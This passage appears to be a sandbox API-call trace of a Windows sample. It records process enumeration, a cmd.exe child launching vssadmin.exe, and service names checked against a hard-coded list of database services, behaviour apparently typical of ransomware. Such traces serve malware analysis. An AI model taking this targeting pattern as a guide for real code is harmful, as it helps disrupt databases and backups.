lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.600] lstrlenW (lpString="svchost.exe") returned 11 [0130.600] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.601] lstrlenW (lpString="svchost.exe") returned 11 [0130.601] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0130.601] lstrlenW (lpString="audiodg.exe") returned 11 [0130.602] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.607] lstrlenW (lpString="svchost.exe") returned 11 [0130.607] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.608] lstrlenW (lpString="svchost.exe") returned 11 [0130.608] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0130.609] lstrlenW (lpString="dwm.exe") returned 7 [0130.609] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0130.610] lstrlenW (lpString="explorer.exe") returned 12 [0130.610] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0130.611] lstrlenW (lpString="spoolsv.exe") returned 11 [0130.611] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0130.611] lstrlenW (lpString="taskhost.exe") returned 12 [0130.611] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.722] lstrlenW (lpString="svchost.exe") returned 11 [0130.722] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0130.723] lstrlenW (lpString="taskeng.exe") returned 11 [0130.723] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0130.723] lstrlenW (lpString="taskhost.exe") returned 12 [0130.723] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0130.724] lstrlenW (lpString="fixwaves.exe") returned 12 [0130.724] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0130.725] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0130.725] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0130.725] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0130.725] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0130.726] lstrlenW (lpString="monsaver.exe") returned 12 [0130.726] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0130.727] lstrlenW (lpString="dosesugar.exe") returned 13 [0130.727] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0130.728] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0130.728] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0130.729] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0130.729] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0130.729] lstrlenW (lpString="nonprofit top.exe") returned 17 [0130.730] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0130.730] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0130.730] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0130.731] lstrlenW (lpString="accused.exe") returned 11 [0130.731] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0130.732] lstrlenW (lpString="governance.exe") returned 14 [0130.732] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0130.733] lstrlenW (lpString="old.exe") returned 7 [0130.733] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0130.734] lstrlenW (lpString="xi cg.exe") returned 9 [0130.734] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0130.735] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0130.735] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0130.735] lstrlenW (lpString="burlington.exe") returned 14 [0130.735] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0130.736] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0130.736] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0130.737] lstrlenW (lpString="buildings.exe") returned 13 [0130.737] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0130.738] lstrlenW (lpString="predictions_took.exe") returned 20 [0130.738] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0130.738] lstrlenW (lpString="carry_dns.exe") returned 13 [0130.738] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0130.739] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0130.739] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.740] lstrlenW (lpString="svchost.exe") returned 11 [0130.740] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0130.741] lstrlenW (lpString="sppsvc.exe") returned 10 [0130.741] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.741] lstrlenW (lpString="svchost.exe") returned 11 [0130.741] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0130.742] lstrlenW (lpString="msiexec.exe") returned 11 [0130.742] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0130.743] lstrlenW (lpString="cmd.exe") returned 7 [0130.743] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0130.745] lstrlenW (lpString="conhost.exe") returned 11 [0130.745] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0130.746] lstrlenW (lpString="vssadmin.exe") returned 12 [0130.746] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0130.746] lstrlenW (lpString="VSSVC.exe") returned 9 [0130.746] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.747] lstrlenW (lpString="svchost.exe") returned 11 [0130.747] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0130.748] CloseHandle (hObject=0x1ac) returned 1 [0130.748] Sleep (dwMilliseconds=0x1f4) [0131.353] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c278 [0131.354] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0131.354] GetLastError () returned 0xea [0131.354] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5de958, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5de958, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0131.355] CloseServiceHandle (hSCObject=0x52c278) returned 1 [0131.355] lstrlenW (lpString="Appinfo") returned 7 [0131.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0131.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0131.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0131.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0131.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0131.355] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0131.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0131.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0131.355] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0131.355] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0131.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0131.355] lstrlenW (lpString="AudioSrv") returned 8 [0131.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0131.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0131.355] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0131.355] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0131.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0131.355] lstrlenW (lpString="BFE") returned 3 [0131.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0131.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0131.355] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0131.355] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0131.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0131.355] lstrlenW (lpString="CryptSvc") returned 8 [0131.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0131.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0131.355] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0131.355] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0131.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0131.355] lstrlenW (lpString="CscService") returned 10 [0131.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0131.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0131.355] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0131.355] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0131.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0131.356] lstrlenW (lpString="DcomLaunch") returned 10 [0131.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0131.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0131.356] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0131.356] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0131.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0131.356] lstrlenW (lpString="Dhcp") returned 4 [0131.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0131.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0131.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0131.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0131.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0131.356] lstrlenW (lpString="Dnscache") returned 8 [0131.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0131.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0131.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0131.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0131.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0131.356] lstrlenW (lpString="DPS") returned 3 [0131.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0131.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0131.356] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0131.356] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0131.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0131.356] lstrlenW (lpString="eventlog") returned 8 [0131.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0131.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0131.356] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0131.356] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0131.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0131.356] lstrlenW (lpString="EventSystem") returned 11 [0131.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0131.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0131.356] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0131.356] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0131.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0131.356] lstrlenW (lpString="FontCache") returned 9 [0131.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0131.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0131.356] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0131.356] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0131.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0131.356] lstrlenW (lpString="gpsvc") returned 5 [0131.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0131.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0131.357] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0131.357] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0131.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0131.357] lstrlenW (lpString="iphlpsvc") returned 8 [0131.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0131.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0131.357] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0131.357] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0131.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0131.357] lstrlenW (lpString="LanmanServer") returned 12 [0131.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0131.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0131.357] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0131.357] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0131.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0131.357] lstrlenW (lpString="LanmanWorkstation") returned 17 [0131.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0131.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0131.357] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0131.357] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0131.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0131.357] lstrlenW (lpString="lmhosts") returned 7 [0131.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0131.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0131.357] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0131.357] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0131.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0131.357] lstrlenW (lpString="MMCSS") returned 5 [0131.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0131.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0131.357] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0131.357] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0131.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0131.358] lstrlenW (lpString="MpsSvc") returned 6 [0131.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0131.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0131.358] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0131.358] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0131.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0131.358] lstrlenW (lpString="Netman") returned 6 [0131.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0131.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0131.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0131.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0131.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0131.358] lstrlenW (lpString="netprofm") returned 8 [0131.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 